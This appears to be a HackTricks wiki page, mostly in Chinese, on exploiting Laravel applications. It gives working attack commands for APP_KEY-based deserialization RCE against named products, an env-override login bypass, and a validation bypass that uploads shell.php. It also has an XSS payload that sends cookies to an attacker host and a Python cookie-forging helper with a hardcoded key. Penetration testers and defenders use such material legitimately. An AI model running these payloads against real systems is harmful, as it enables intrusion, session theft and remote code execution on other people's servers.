Laravel

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查看 订阅计划!

加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.

通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

Laravel SQLInjection

有关信息请参见： https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & 加密内部机制 (Laravel \u003e=5.6)

Laravel 在底层使用 AES-256-CBC（或 GCM）并带有 HMAC 完整性保护（Illuminate\\Encryption\\Encrypter）。最终发送到客户端的原始密文是像下面这样的Base64 的 JSON object：

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) 默认会对明文执行 serialize()，而 decrypt($payload, $unserialize=true) 会自动对解密后的值执行 unserialize()。因此 任何知道 32 字节密钥 APP_KEY 的攻击者都可以构造一个加密的 PHP 序列化对象，并通过魔术方法（__wakeup、__destruct、…）获得 RCE。

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

将生成的字符串注入到任何易受攻击的 decrypt() sink（route param, cookie, session, …）。

laravel-crypto-killer 🧨

laravel-crypto-killer 自动化整个过程并添加了一个方便的 bruteforce 模式：

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

该脚本透明地支持 CBC 和 GCM payloads，并重新生成 HMAC/tag 字段。

真实世界中的易受攻击模式

项目	易受攻击的 sink	Gadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)	`/route/{hash}` → `decrypt($hash)`	Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)	`XSRF-TOKEN` cookie 当 `Passport::withCookieSerialization()` 启用时	Laravel/RCE9
Crater (CVE-2024-55556)	`SESSION_DRIVER=cookie` → `laravel_session` cookie	Laravel/RCE15

利用工作流程始终为：

获取或穷举 32 字节的 APP_KEY。
使用 PHPGGC 构建 gadget chain（例如 Laravel/RCE13、Laravel/RCE9 或 Laravel/RCE15）。
使用 laravel_crypto_killer.py 和恢复的 APP_KEY 对序列化的 gadget 进行加密。
将密文提交到易受攻击的 decrypt() sink（路由参数、cookie、session …）以触发 RCE。

下面是一行命令，简洁地展示了上述每个真实世界 CVE 的完整攻击路径：

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

因为每个新的 Laravel 响应至少会设置一个加密 cookie（XSRF-TOKEN，通常还有 laravel_session），公共互联网扫描器 (Shodan, Censys, …) leak 数百万条 ciphertexts，这些可以离线攻击。

Key findings of the research published by Synacktiv (2024-2025):

Dataset July 2024 » 580 k tokens, 3.99 % 密钥被破解 (≈23 k)
Dataset May 2025 » 625 k tokens, 3.56 % 密钥被破解
1 000 servers 仍然易受 legacy CVE-2018-15133 影响，因为 tokens 直接包含序列化数据。
大量密钥复用 — Top-10 APP_KEYs 是随商业 Laravel 模板（UltimatePOS, Invoice Ninja, XPanel, …）发布的硬编码默认值。

私有 Go 工具 nounours 将 AES-CBC/GCM bruteforce 吞吐率推至约 15 亿次/秒，使完整数据集破解时间降至 <2 分钟。

CVE-2024-52301 – HTTP argv/env 覆盖 → auth bypass

当 PHP 的 register_argc_argv=On（许多发行版的典型配置）时，PHP 会为 HTTP 请求暴露一个基于查询字符串的 argv 数组。近期的 Laravel 版本解析这些“CLI-like”参数并在运行时识别 --env=<value>。这允许仅通过在任意 URL 后附加该参数来切换当前 HTTP 请求的框架环境：

快速检查：
访问 https://target/?--env=local 或任意字符串，观察环境相关的变化（debug banners、页脚、详细错误信息）。如果该字符串被反射，则覆盖生效。
影响示例（业务逻辑信任特定 env）：
如果应用包含诸如 if (app()->environment('preprod')) { /* bypass auth */ } 的分支，你可以通过发送登录 POST 到：
POST /login?--env=preprod
说明：
对单次请求生效，不会持久化。
需要 register_argc_argv=On 且 Laravel 版本在 HTTP 请求中读取 argv。
这是一个有用的原语，可在“debug” envs 中暴露更详细的错误，或触发基于环境的代码路径。
缓解措施：
为 PHP-FPM/Apache 禁用 register_argc_argv。
升级 Laravel 以在 HTTP 请求中忽略 argv，并在生产路由中移除对 app()->environment() 的任何信任假设。

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – 通配符文件验证绕过 (`files.*`)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 and 12.0.0–12.1.0 允许精心构造的 multipart 请求完全跳过附加在 files.* / images.* 上的任何规则。展开通配符键的解析器可能会被攻击者控制的占位符混淆（例如，预先填充 __asterisk__ 段），因此框架会在从未运行 image、mimes、dimensions、max 等验证的情况下将对象 hydrate 为 UploadedFile。一旦恶意 blob 落入 Storage::putFile*，你就可以转向 HackTricks 中已列出的任何文件上传原语（web shells、log poisoning、signed job deserialization 等）。

Hunting for the pattern

静态：rg -n "files\\.\*" -g"*.php" app/ 或检查 FormRequest 类中 rules() 返回包含 files.* 的数组。
动态：在预生产环境通过 Xdebug 或 Laravel Telescope hook Illuminate\Validation\Validator::validate()，记录每个命中该易受攻击规则的请求。
Middleware/route review：打包多个文件的端点（avatar importers、document portals、drag-n-drop components）往往信任 files.*。

Practical exploitation workflow

捕获一次合法上传并在 Burp Repeater 中重放。
复制相同的部分但更改字段名，使其已经包含占位符令牌（例如，files[0][__asterisk__payload]）或嵌套另一个数组（files[0][alt][0]）。在易受攻击的构建中，第二个部分不会被验证，但仍会成为一个 UploadedFile 条目。
将伪造的文件指向 PHP 载荷（shell.php、.phar、polyglot）并强制应用将其存储到可通过 web 访问的磁盘（通常为 public/，在启用 php artisan storage:link 后）。

curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

继续对键名进行模糊测试（files.__dot__0, files[0][0], files[0][uuid] …），直到找到一个既能绕过校验又能写入磁盘；已修补的版本会立即拒绝这些精心构造的属性名。

Laravel 小技巧

调试模式

如果 Laravel 处于 调试模式，你将能够访问代码和 敏感数据。
例如 http://127.0.0.1:8000/profiles：

这通常是利用其他 Laravel RCE CVE 时所需要的。

CVE-2024-13918 / CVE-2024-13919 – Whoops 调试页面中的反射型 XSS

受影响：Laravel 11.9.0–11.35.1 在 APP_DEBUG=true 情况下（无论是全局还是通过错误配置的 env 覆盖如 CVE-2024-52301 强制启用）。
原理：Whoops 渲染的每个未捕获异常都会回显请求/路由的部分内容，且不进行 HTML 编码，因此在路由或请求参数中注入 <img src> / <script> 会在认证前导致存储在响应上的 XSS。
影响：窃取 XSRF-TOKEN，leak 带有 secrets 的堆栈追踪，打开基于浏览器的枢纽以在受害者会话中访问 _ignition/execute-solution，或与依赖 cookie 的无密码仪表盘链式利用。

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});

curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

即使调试模式通常关闭，通过后台作业或队列 workers 强制触发错误并探测 _ignition/health-check 端点，常能发现仍暴露该链的 staging 主机。

指纹识别 & 暴露的开发端点

Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:

/_ignition/health-check → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
/_debugbar → Laravel Debugbar assets; often indicates debug mode.
/telescope → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
/horizon → Queue dashboard; version disclosure and sometimes CSRF-protected actions.
X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.

# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel 将用于 encrypt cookies 及其他凭据的 APP 保存在名为 .env 的文件中，该文件可通过路径遍历（例如 /../.env）访问。

Laravel 还会在调试页面中显示这些信息（当 Laravel 发现错误并启用调试时会出现）。

使用 Laravel 的秘密 APP_KEY，你可以 decrypt and re-encrypt cookies：

Decrypt/encrypt cookies helper (Python)

```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

受影响版本：5.5.40 和 5.6.x 到 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

有关该 deserialization 漏洞的信息，请参见： [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

你可以使用 [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ 测试并利用它。  
或者你也可以用 metasploit 利用它： `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

另一个 deserialization： [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## 参考资料
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)


> [!TIP]
> 学习和实践 AWS 黑客技术：<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术：<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术：<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>